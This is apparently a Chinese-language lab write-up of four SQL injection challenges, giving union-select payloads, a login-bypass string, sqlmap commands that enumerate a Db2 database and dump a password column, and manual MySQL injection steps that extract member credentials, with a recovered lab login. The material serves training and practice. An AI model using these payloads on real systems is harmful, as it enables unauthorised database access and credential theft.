SQL注入漏洞测试(POST)
靶场页面:
使用BP抓包:
post注入尝试
使用 ' union select 1,2,3# 成功拿到key
SQL手工注入漏洞测试(Db2数据库)
这里选择使用sqlmap
点击这里有注入点:
python3 sqlmap.py -u "http://ip:40880/new_list.php?id=1" --dbs --batch
出库名:
查看表名:
python3 sqlmap.py -u "http://ip:40880/new_list.php?id=1" -D DB2INST1 --tables --batch
查看GAME_CHARACTER:
python3 sqlmap.py -u "http://ip:40880/new_list.php?id=1" -D DB2INST1 -T GAME_CHARACTER --columns --batch
发现只有ID 其他数据被隐藏了,这里咱们猜测password
python3 sqlmap.py -u "http://ip:40880/new_list.php?id=1" -D DB2INST1 -T GAME_CHARACTER -C password --dump --batch
最终获得两个md5加密的密码:
尝试md5解密:
然后登录获取key:mozhe/643020
SQL注入漏洞测试(登录绕过)
一个简易登录框:
sql万能账户:admin' or 1=1# 密码随意
获取key:
SQL手工注入漏洞测试(MySQL数据库)
还是一样 点击:
这里使用hackBar插件手工注入:
?id=1 and 1=1
?id=1 and 1=2
数字型
查看字段数:
?id=1 order by 4
查看回显:
查看库名:
查看表名:
查看列名:
查看内容:
?id=-1 union select 1,group_concat(id,name,password,status),3,4 from StormGroup_member
md5解密:
登录获取key